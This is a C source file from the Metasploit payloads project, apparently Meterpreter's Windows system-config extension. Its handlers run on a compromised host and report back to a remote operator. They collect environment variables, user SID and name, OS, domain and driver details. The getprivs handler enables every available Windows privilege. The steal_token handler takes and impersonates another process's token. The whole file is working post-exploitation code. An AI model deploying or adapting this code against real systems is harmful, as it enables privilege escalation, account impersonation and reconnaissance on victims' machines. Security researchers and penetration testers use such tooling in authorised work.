mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-24 10:09:49 +02:00
860 lines
23 KiB
C
Executable File
860 lines
23 KiB
C
Executable File
#include "precomp.h"
|
|
#include "common_metapi.h"
|
|
|
|
#include <sddl.h>
|
|
#include <lm.h>
|
|
#include <psapi.h>
|
|
|
|
typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW);
|
|
|
|
/*!
|
|
* @brief Add an environment variable / value pair to a response packet.
|
|
* @param response The \c Response packet to add the values to.
|
|
* @param envVar The name of the environment variable to add.
|
|
* @param envVal The value of the environment.
|
|
*/
|
|
VOID add_env_pair(Packet *response, char * envVar, char *envVal)
|
|
{
|
|
Tlv entries[2] = { 0 };
|
|
|
|
if (envVal)
|
|
{
|
|
entries[0].header.type = TLV_TYPE_ENV_VARIABLE;
|
|
entries[0].header.length = (DWORD)strlen(envVar) + 1;
|
|
entries[0].buffer = (PUCHAR)envVar;
|
|
|
|
entries[1].header.type = TLV_TYPE_ENV_VALUE;
|
|
entries[1].header.length = (DWORD)strlen(envVal) + 1;
|
|
entries[1].buffer = (PUCHAR)envVal;
|
|
|
|
met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
|
|
}
|
|
else
|
|
{
|
|
dprintf("[ENV] No value found for %s", envVar);
|
|
}
|
|
}
|
|
|
|
/*!
|
|
* @brief Expand a given set of environment variables.
|
|
* @param remote Pointer to the \c Remote instance making the request.
|
|
* @param packet Pointer to the \c Request packet.
|
|
* @remarks This will return a hash of the list of environment variables
|
|
* and their values, as requested by the caller.
|
|
* @returns Indication of success or failure.
|
|
*/
|
|
DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwTlvIndex = 0;
|
|
Tlv envTlv;
|
|
char* pEnvVarStart;
|
|
char* pEnvVarEnd;
|
|
|
|
do
|
|
{
|
|
while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
|
|
{
|
|
pEnvVarStart = (char*)envTlv.buffer;
|
|
|
|
dprintf("[ENV] Processing: %s", pEnvVarStart);
|
|
|
|
// skip any '%' or '$' if they were specified.
|
|
while (*pEnvVarStart != '\0' && (*pEnvVarStart == '$' || *pEnvVarStart == '%'))
|
|
{
|
|
++pEnvVarStart;
|
|
}
|
|
|
|
dprintf("[ENV] pEnvStart: %s", pEnvVarStart);
|
|
|
|
pEnvVarEnd = pEnvVarStart;
|
|
|
|
// if we're on windows, the caller might have passed in '%' at the end, so remove that
|
|
// if it's there.
|
|
while (*pEnvVarEnd != '\0')
|
|
{
|
|
if (*pEnvVarEnd == '%')
|
|
{
|
|
// terminate it here instead
|
|
*pEnvVarEnd = '\0';
|
|
break;
|
|
}
|
|
++pEnvVarEnd;
|
|
}
|
|
|
|
dprintf("[ENV] Final env var: %s", pEnvVarStart);
|
|
|
|
// grab the value of the variable and stick it in the response.
|
|
PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart);
|
|
//Ensure we always have > 0 bytes even if env var doesn't exist
|
|
DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1;
|
|
PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR));
|
|
GetEnvironmentVariableW(name, wvalue, envlen);
|
|
free(name);
|
|
char* value = met_api->string.wchar_to_utf8(wvalue);
|
|
free(wvalue);
|
|
add_env_pair(response, pEnvVarStart, value);
|
|
free(value);
|
|
|
|
dprintf("[ENV] Env var added");
|
|
}
|
|
} while (0);
|
|
|
|
dprintf("[ENV] Transmitting response.");
|
|
met_api->packet.transmit_response(dwResult, remote, response);
|
|
|
|
dprintf("[ENV] done.");
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* @brief Get the token information for the current thread/process.
|
|
* @param pTokenUser Buffer to receive the token data.
|
|
* @param dwBufferSize Size of the buffer that will receive the token data.
|
|
* @returns Indication of success or failure.
|
|
*/
|
|
DWORD get_user_token(LPVOID pTokenUser, DWORD dwBufferSize)
|
|
{
|
|
DWORD dwResult = 0;
|
|
DWORD dwReturnedLength = 0;
|
|
HANDLE hToken;
|
|
|
|
do
|
|
{
|
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
|
|
{
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
|
|
{
|
|
BREAK_ON_ERROR("[TOKEN] Failed to get a valid token for thread/process.");
|
|
}
|
|
}
|
|
|
|
if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength))
|
|
{
|
|
BREAK_ON_ERROR("[TOKEN] Failed to get token information for thread/process.");
|
|
}
|
|
|
|
dwResult = ERROR_SUCCESS;
|
|
} while (0);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* @brief Get the SID of the current process/thread.
|
|
* @param pRemote Pointer to the \c Remote instance.
|
|
* @param pRequest Pointer to the \c Request packet.
|
|
* @returns Indication of success or failure.
|
|
*/
|
|
DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
|
|
{
|
|
DWORD dwResult;
|
|
BYTE tokenUserInfo[4096];
|
|
LPSTR pSid = NULL;
|
|
Packet *pResponse = met_api->packet.create_response(pRequest);
|
|
|
|
do
|
|
{
|
|
dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo));
|
|
if (dwResult != ERROR_SUCCESS)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid))
|
|
{
|
|
BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string");
|
|
}
|
|
|
|
} while (0);
|
|
|
|
if (pSid != NULL)
|
|
{
|
|
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
|
|
LocalFree(pSid);
|
|
}
|
|
|
|
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* @brief Get the UID of the current process/thread.
|
|
* @param pRequest Pointer to the \c Request packet.
|
|
* @returns Indication of success or failure.
|
|
* @remark This is a helper function that does the grunt work
|
|
* for getting the user details which is used in a few
|
|
* other locations.
|
|
*/
|
|
DWORD populate_uid(Packet* pResponse)
|
|
{
|
|
DWORD dwResult;
|
|
WCHAR cbUserOnly[512], cbDomainOnly[512];
|
|
CHAR cbUsername[1024];
|
|
BYTE tokenUserInfo[4096];
|
|
DWORD dwUserSize = sizeof(cbUserOnly), dwDomainSize = sizeof(cbDomainOnly);
|
|
DWORD dwSidType = 0;
|
|
|
|
memset(cbUsername, 0, sizeof(cbUsername));
|
|
memset(cbUserOnly, 0, sizeof(cbUserOnly));
|
|
memset(cbDomainOnly, 0, sizeof(cbDomainOnly));
|
|
|
|
do
|
|
{
|
|
if ((dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo))) != ERROR_SUCCESS)
|
|
{
|
|
dprintf("[POPUID] unable to get user token");
|
|
break;
|
|
}
|
|
|
|
if (!LookupAccountSidW(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType))
|
|
{
|
|
BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data");
|
|
}
|
|
|
|
char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly);
|
|
char *userName = met_api->string.wchar_to_utf8(cbUserOnly);
|
|
// Make full name in DOMAIN\USERNAME format
|
|
_snprintf(cbUsername, 512, "%s\\%s", domainName, userName);
|
|
free(domainName);
|
|
free(userName);
|
|
cbUsername[511] = '\0';
|
|
|
|
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);
|
|
|
|
dwResult = EXIT_SUCCESS;
|
|
} while (0);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* @brief Get the user name of the current process/thread.
|
|
* @param pRemote Pointer to the \c Remote instance.
|
|
* @param pRequest Pointer to the \c Request packet.
|
|
* @returns Indication of success or failure.
|
|
*/
|
|
DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
|
|
{
|
|
Packet *pResponse = met_api->packet.create_response(pPacket);
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
|
|
dwResult = populate_uid(pResponse);
|
|
|
|
// Transmit the response
|
|
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* @brief Drops an existing thread token.
|
|
* @param pRemote Pointer to the \c Remote instance.
|
|
* @param pRequest Pointer to the \c Request packet.
|
|
* @returns Indication of success or failure.
|
|
*/
|
|
DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
|
|
{
|
|
Packet* pResponse = met_api->packet.create_response(pPacket);
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
|
|
met_api->thread.update_token(pRemote, NULL);
|
|
dwResult = populate_uid(pResponse);
|
|
|
|
// Transmit the response
|
|
met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* sys_getprivs
|
|
* ----------
|
|
*
|
|
* Obtains as many privileges as possible
|
|
* Based on the example at http://nibuthomas.com/tag/openprocesstoken/
|
|
*/
|
|
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
DWORD res = ERROR_SUCCESS;
|
|
HANDLE token = NULL;
|
|
int x;
|
|
TOKEN_PRIVILEGES priv = { 0 };
|
|
LPCTSTR privs[] = {
|
|
SE_ASSIGNPRIMARYTOKEN_NAME,
|
|
SE_AUDIT_NAME,
|
|
SE_BACKUP_NAME,
|
|
SE_CHANGE_NOTIFY_NAME,
|
|
SE_CREATE_GLOBAL_NAME,
|
|
SE_CREATE_PAGEFILE_NAME,
|
|
SE_CREATE_PERMANENT_NAME,
|
|
SE_CREATE_SYMBOLIC_LINK_NAME,
|
|
SE_CREATE_TOKEN_NAME,
|
|
SE_DEBUG_NAME,
|
|
SE_ENABLE_DELEGATION_NAME,
|
|
SE_IMPERSONATE_NAME,
|
|
SE_INC_BASE_PRIORITY_NAME,
|
|
SE_INCREASE_QUOTA_NAME,
|
|
SE_INC_WORKING_SET_NAME,
|
|
SE_LOAD_DRIVER_NAME,
|
|
SE_LOCK_MEMORY_NAME,
|
|
SE_MACHINE_ACCOUNT_NAME,
|
|
SE_MANAGE_VOLUME_NAME,
|
|
SE_PROF_SINGLE_PROCESS_NAME,
|
|
SE_RELABEL_NAME,
|
|
SE_REMOTE_SHUTDOWN_NAME,
|
|
SE_RESTORE_NAME,
|
|
SE_SECURITY_NAME,
|
|
SE_SHUTDOWN_NAME,
|
|
SE_SYNC_AGENT_NAME,
|
|
SE_SYSTEM_ENVIRONMENT_NAME,
|
|
SE_SYSTEM_PROFILE_NAME,
|
|
SE_SYSTEMTIME_NAME,
|
|
SE_TAKE_OWNERSHIP_NAME,
|
|
SE_TCB_NAME,
|
|
SE_TIME_ZONE_NAME,
|
|
SE_TRUSTED_CREDMAN_ACCESS_NAME,
|
|
SE_UNDOCK_NAME,
|
|
SE_UNSOLICITED_INPUT_NAME,
|
|
NULL
|
|
};
|
|
|
|
do
|
|
{
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
|
|
{
|
|
res = GetLastError();
|
|
dprintf("[GETPRIVS] Failed to open the process token: %u 0x%x", res, res);
|
|
break;
|
|
}
|
|
|
|
for (x = 0; privs[x]; ++x)
|
|
{
|
|
memset(&priv, 0, sizeof(priv));
|
|
LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid);
|
|
priv.PrivilegeCount = 1;
|
|
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
if (AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0))
|
|
{
|
|
if (GetLastError() == ERROR_SUCCESS)
|
|
{
|
|
dprintf("[GETPRIVS] Got Priv %s", privs[x]);
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
dprintf("[GETPRIVS] Failed to set privilege %s (%u)", privs[x], GetLastError());
|
|
}
|
|
}
|
|
} while (0);
|
|
|
|
if (token)
|
|
{
|
|
CloseHandle(token);
|
|
}
|
|
|
|
// Transmit the response
|
|
met_api->packet.transmit_response(res, remote, response);
|
|
|
|
return res;
|
|
}
|
|
|
|
/*
|
|
* sys_steal_token
|
|
* ----------
|
|
*
|
|
* Steals the primary token from an existing process
|
|
*/
|
|
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
HANDLE hToken = NULL;
|
|
HANDLE hProcessHandle = NULL;
|
|
HANDLE hDupToken = NULL;
|
|
DWORD dwPid;
|
|
|
|
do
|
|
{
|
|
// Get the process identifier that we're attaching to, if any.
|
|
dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID);
|
|
|
|
if (!dwPid)
|
|
{
|
|
dprintf("[STEAL-TOKEN] invalid pid");
|
|
dwResult = -1;
|
|
break;
|
|
}
|
|
|
|
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
|
|
|
|
if (!hProcessHandle)
|
|
{
|
|
dwResult = GetLastError();
|
|
dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult);
|
|
break;
|
|
}
|
|
|
|
if (!OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken))
|
|
{
|
|
dwResult = GetLastError();
|
|
dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult);
|
|
break;
|
|
}
|
|
|
|
if (!ImpersonateLoggedOnUser(hToken))
|
|
{
|
|
dwResult = GetLastError();
|
|
dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult);
|
|
break;
|
|
}
|
|
|
|
if (!DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityIdentification, TokenPrimary, &hDupToken))
|
|
{
|
|
dwResult = GetLastError();
|
|
dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult);
|
|
break;
|
|
}
|
|
|
|
dprintf("[STEAL-TOKEN] so far so good, updating thread token");
|
|
met_api->thread.update_token(remote, hDupToken);
|
|
|
|
dprintf("[STEAL-TOKEN] populating UID");
|
|
dwResult = populate_uid(response);
|
|
} while (0);
|
|
|
|
if (hProcessHandle)
|
|
{
|
|
CloseHandle(hProcessHandle);
|
|
}
|
|
|
|
if (hToken)
|
|
{
|
|
CloseHandle(hToken);
|
|
}
|
|
// Transmit the response
|
|
met_api->packet.transmit_response(dwResult, remote, response);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
DWORD add_windows_os_version(Packet** packet)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
CHAR buffer[512] = { 0 };
|
|
|
|
do
|
|
{
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll");
|
|
if (hNtdll == NULL)
|
|
{
|
|
BREAK_ON_ERROR("[SYSINFO] Failed to load ntoskrnl");
|
|
}
|
|
|
|
PRtlGetVersion pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
|
|
if (pRtlGetVersion == NULL)
|
|
{
|
|
BREAK_ON_ERROR("[SYSINFO] Couldn't find RtlGetVersion in ntoskrnl");
|
|
}
|
|
|
|
OSVERSIONINFOEXW v = { 0 };
|
|
v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
|
|
|
|
if (0 != pRtlGetVersion(&v))
|
|
{
|
|
dwResult = ERROR_INVALID_DLL;
|
|
dprintf("[SYSINFO] Unable to get OS version with RtlGetVersion");
|
|
break;
|
|
}
|
|
|
|
dprintf("[VERSION] Major : %u", v.dwMajorVersion);
|
|
dprintf("[VERSION] Minor : %u", v.dwMinorVersion);
|
|
dprintf("[VERSION] Build : %u", v.dwBuildNumber);
|
|
dprintf("[VERSION] Maint : %S", v.szCSDVersion);
|
|
dprintf("[VERSION] Platform: %u", v.dwPlatformId);
|
|
dprintf("[VERSION] Type : %hu", v.wProductType);
|
|
dprintf("[VERSION] SP Major: %hu", v.wServicePackMajor);
|
|
dprintf("[VERSION] SP Minor: %hu", v.wServicePackMinor);
|
|
dprintf("[VERSION] Suite : %hu", v.wSuiteMask);
|
|
|
|
CHAR* osName = NULL;
|
|
|
|
if (v.dwMajorVersion == 3)
|
|
{
|
|
osName = "Windows NT 3.51";
|
|
}
|
|
else if (v.dwMajorVersion == 4)
|
|
{
|
|
if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
|
{
|
|
osName = "Windows 95";
|
|
}
|
|
else if (v.dwMinorVersion == 10)
|
|
{
|
|
osName = "Windows 98";
|
|
}
|
|
else if (v.dwMinorVersion == 90)
|
|
{
|
|
osName = "Windows ME";
|
|
}
|
|
else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
|
{
|
|
osName = "Windows NT 4.0";
|
|
}
|
|
}
|
|
else if (v.dwMajorVersion == 5)
|
|
{
|
|
if (v.dwMinorVersion == 0)
|
|
{
|
|
osName = "Windows 2000";
|
|
}
|
|
else if (v.dwMinorVersion == 1)
|
|
{
|
|
osName = "Windows XP";
|
|
}
|
|
else if (v.dwMinorVersion == 2)
|
|
{
|
|
osName = "Windows .NET Server";
|
|
}
|
|
}
|
|
else if (v.dwMajorVersion == 6)
|
|
{
|
|
if (v.dwMinorVersion == 0)
|
|
{
|
|
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows Vista" : "Windows 2008";
|
|
}
|
|
else if (v.dwMinorVersion == 1)
|
|
{
|
|
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 7" : "Windows 2008 R2";
|
|
}
|
|
else if (v.dwMinorVersion == 2)
|
|
{
|
|
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8" : "Windows 2012";
|
|
}
|
|
else if (v.dwMinorVersion == 3)
|
|
{
|
|
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8.1" : "Windows 2012 R2";
|
|
}
|
|
}
|
|
else if (v.dwMajorVersion == 10)
|
|
{
|
|
if (v.dwMinorVersion == 0)
|
|
{
|
|
osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 10" : "Windows 2016+";
|
|
}
|
|
}
|
|
|
|
if (!osName)
|
|
{
|
|
osName = "Unknown";
|
|
}
|
|
|
|
if (wcslen(v.szCSDVersion) > 0)
|
|
{
|
|
_snprintf(buffer, sizeof(buffer)-1, "%s (%u.%u Build %u, %S).", osName, v.dwMajorVersion, v.dwMinorVersion, v.dwBuildNumber, v.szCSDVersion);
|
|
}
|
|
else
|
|
{
|
|
_snprintf(buffer, sizeof(buffer)-1, "%s (%u.%u Build %u).", osName, v.dwMajorVersion, v.dwMinorVersion, v.dwBuildNumber);
|
|
}
|
|
|
|
dprintf("[VERSION] Version set to: %s", buffer);
|
|
met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
|
|
} while (0);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* @brief Handle the request to get local date/time information.
|
|
* @param remote Pointer to the remote instance.
|
|
* @param packet Pointer to the request packet.
|
|
* @return Indication of success or failure.
|
|
*/
|
|
DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
|
|
{
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
DWORD result = ERROR_SUCCESS;
|
|
char dateTime[128] = { 0 };
|
|
|
|
TIME_ZONE_INFORMATION tzi = { 0 };
|
|
SYSTEMTIME localTime = { 0 };
|
|
|
|
DWORD tziResult = GetTimeZoneInformation(&tzi);
|
|
GetLocalTime(&localTime);
|
|
|
|
_snprintf_s(dateTime, sizeof(dateTime), sizeof(dateTime) - 1, "%d-%02d-%02d %02d:%02d:%02d.%d %S (UTC%s%d)",
|
|
localTime.wYear, localTime.wMonth, localTime.wDay,
|
|
localTime.wHour, localTime.wMinute, localTime.wSecond, localTime.wMilliseconds,
|
|
tziResult == TIME_ZONE_ID_DAYLIGHT ? tzi.DaylightName : tzi.StandardName,
|
|
tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100));
|
|
|
|
dprintf("[SYSINFO] Local Date/Time: %s", dateTime);
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);
|
|
|
|
// Transmit the response
|
|
met_api->packet.transmit_response(result, remote, response);
|
|
|
|
return result;
|
|
}
|
|
|
|
/*
|
|
* sys_sysinfo
|
|
* ----------
|
|
*
|
|
* Get system information such as computer name and OS version
|
|
*/
|
|
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
CHAR computer[512], buf[512], * osArch = NULL;
|
|
DWORD res = ERROR_SUCCESS;
|
|
DWORD size = sizeof(computer);
|
|
HMODULE hKernel32;
|
|
|
|
memset(computer, 0, sizeof(computer));
|
|
memset(buf, 0, sizeof(buf));
|
|
|
|
do
|
|
{
|
|
// Get the computer name
|
|
if (!GetComputerName(computer, &size))
|
|
{
|
|
res = GetLastError();
|
|
break;
|
|
}
|
|
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
|
|
add_windows_os_version(&response);
|
|
|
|
// sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it.
|
|
hKernel32 = LoadLibraryA("kernel32.dll");
|
|
if (hKernel32)
|
|
{
|
|
typedef void (WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO lpSystemInfo);
|
|
typedef BOOL(WINAPI * ISWOW64PROCESS)(HANDLE, PBOOL);
|
|
GETNATIVESYSTEMINFO pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress(hKernel32, "GetNativeSystemInfo");
|
|
ISWOW64PROCESS pIsWow64Process = (ISWOW64PROCESS)GetProcAddress(hKernel32, "IsWow64Process");
|
|
if (pGetNativeSystemInfo)
|
|
{
|
|
SYSTEM_INFO SystemInfo;
|
|
pGetNativeSystemInfo(&SystemInfo);
|
|
switch (SystemInfo.wProcessorArchitecture)
|
|
{
|
|
case PROCESSOR_ARCHITECTURE_AMD64:
|
|
osArch = "x64";
|
|
break;
|
|
case PROCESSOR_ARCHITECTURE_IA64:
|
|
osArch = "IA64";
|
|
break;
|
|
case PROCESSOR_ARCHITECTURE_INTEL:
|
|
osArch = "x86";
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
// if we havnt set the arch it is probably because we are on NT/2000 which is x86
|
|
if (!osArch)
|
|
{
|
|
osArch = "x86";
|
|
}
|
|
|
|
dprintf("[SYSINFO] Arch set to: %s", osArch);
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);
|
|
|
|
if (hKernel32)
|
|
{
|
|
char * ctryname = NULL, *langname = NULL;
|
|
typedef LANGID(WINAPI * GETSYSTEMDEFAULTLANGID)(VOID);
|
|
GETSYSTEMDEFAULTLANGID pGetSystemDefaultLangID = (GETSYSTEMDEFAULTLANGID)GetProcAddress(hKernel32, "GetSystemDefaultLangID");
|
|
if (pGetSystemDefaultLangID)
|
|
{
|
|
LANGID langId = pGetSystemDefaultLangID();
|
|
|
|
int len = GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, 0, 0);
|
|
if (len > 0)
|
|
{
|
|
ctryname = (char *)malloc(len);
|
|
GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, ctryname, len);
|
|
}
|
|
|
|
len = GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, 0, 0);
|
|
if (len > 0)
|
|
{
|
|
langname = (char *)malloc(len);
|
|
GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, langname, len);
|
|
}
|
|
}
|
|
|
|
if (!ctryname || !langname)
|
|
{
|
|
_snprintf(buf, sizeof(buf)-1, "Unknown");
|
|
}
|
|
else
|
|
{
|
|
_snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname);
|
|
}
|
|
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);
|
|
|
|
if (ctryname)
|
|
{
|
|
free(ctryname);
|
|
}
|
|
|
|
if (langname)
|
|
{
|
|
free(langname);
|
|
}
|
|
}
|
|
|
|
LPWKSTA_INFO_102 localSysinfo = NULL;
|
|
|
|
if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success)
|
|
{
|
|
char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup);
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
|
|
met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
|
|
free(domainName);
|
|
}
|
|
else
|
|
{
|
|
dprintf("[CONFIG] Failed to get local system info for logged on user count / domain");
|
|
}
|
|
} while (0);
|
|
|
|
// Transmit the response
|
|
met_api->packet.transmit_response(res, remote, response);
|
|
|
|
return res;
|
|
}
|
|
|
|
|
|
/*
|
|
* sys_config_rev2self
|
|
*
|
|
* Calls RevertToSelf()
|
|
*/
|
|
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
Packet * response = NULL;
|
|
|
|
do
|
|
{
|
|
response = met_api->packet.create_response(packet);
|
|
if (!response)
|
|
{
|
|
dwResult = ERROR_INVALID_HANDLE;
|
|
break;
|
|
}
|
|
|
|
met_api->thread.update_token(remote, NULL);
|
|
|
|
met_api->desktop.update(remote, -1, NULL, NULL);
|
|
|
|
if (!RevertToSelf())
|
|
dwResult = GetLastError();
|
|
|
|
} while(0);
|
|
|
|
if (response)
|
|
met_api->packet.transmit_response(dwResult, remote, response);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*!
|
|
* @brief Handle the driver list function call.
|
|
*/
|
|
DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
|
|
{
|
|
Packet* response = met_api->packet.create_response(packet);
|
|
DWORD result = ERROR_SUCCESS;
|
|
|
|
LPVOID ignored = NULL;
|
|
DWORD sizeNeeded = 0;
|
|
|
|
// start by getting the size required to store the driver list
|
|
EnumDeviceDrivers(&ignored, sizeof(ignored), &sizeNeeded);
|
|
|
|
if (sizeNeeded > 0)
|
|
{
|
|
dprintf("[CONFIG] Size required for driver list: %u 0x%x", sizeNeeded, sizeNeeded);
|
|
|
|
LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);
|
|
if (driverList)
|
|
{
|
|
if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))
|
|
{
|
|
wchar_t baseName[MAX_PATH];
|
|
wchar_t fileName[MAX_PATH];
|
|
DWORD driverCount = sizeNeeded / sizeof(LPVOID);
|
|
dprintf("[CONFIG] Total driver handles: %u", driverCount);
|
|
|
|
for (DWORD i = 0; i < driverCount; ++i)
|
|
{
|
|
BOOL valid = TRUE;
|
|
|
|
if (!GetDeviceDriverBaseNameW(driverList[i], baseName, MAX_PATH))
|
|
{
|
|
dprintf("[CONFIG] %d Driver base name read failed: %u 0x%x", i, GetLastError(), GetLastError());
|
|
// null terminate the string at the start, indicating that it's invalid
|
|
baseName[0] = L'\x00';
|
|
}
|
|
else
|
|
{
|
|
dprintf("[CONFIG] %d Driver basename: %S", i, baseName);
|
|
}
|
|
|
|
if (!GetDeviceDriverFileNameW(driverList[i], fileName, MAX_PATH))
|
|
{
|
|
dprintf("[CONFIG] %d Driver file name read failed: %u 0x%x", i, GetLastError(), GetLastError());
|
|
|
|
// null terminate the string at the start, indicating that it's invalid
|
|
fileName[0] = L'\x00';
|
|
|
|
// we'll mark the entry as invalid if both calls failed.
|
|
valid = baseName[0] != L'\x00';
|
|
}
|
|
else
|
|
{
|
|
dprintf("[CONFIG] %d Driver filename: %S", i, fileName);
|
|
}
|
|
|
|
if (valid)
|
|
{
|
|
Packet* entry = met_api->packet.create_group();
|
|
|
|
char* bn = met_api->string.wchar_to_utf8(baseName);
|
|
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
|
|
free(bn);
|
|
|
|
char* fn = met_api->string.wchar_to_utf8(fileName);
|
|
met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
|
|
free(fn);
|
|
|
|
met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
|
|
}
|
|
}
|
|
}
|
|
|
|
free(driverList);
|
|
}
|
|
else
|
|
{
|
|
result = ERROR_OUTOFMEMORY;
|
|
}
|
|
}
|
|
|
|
met_api->packet.transmit_response(result, remote, response);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|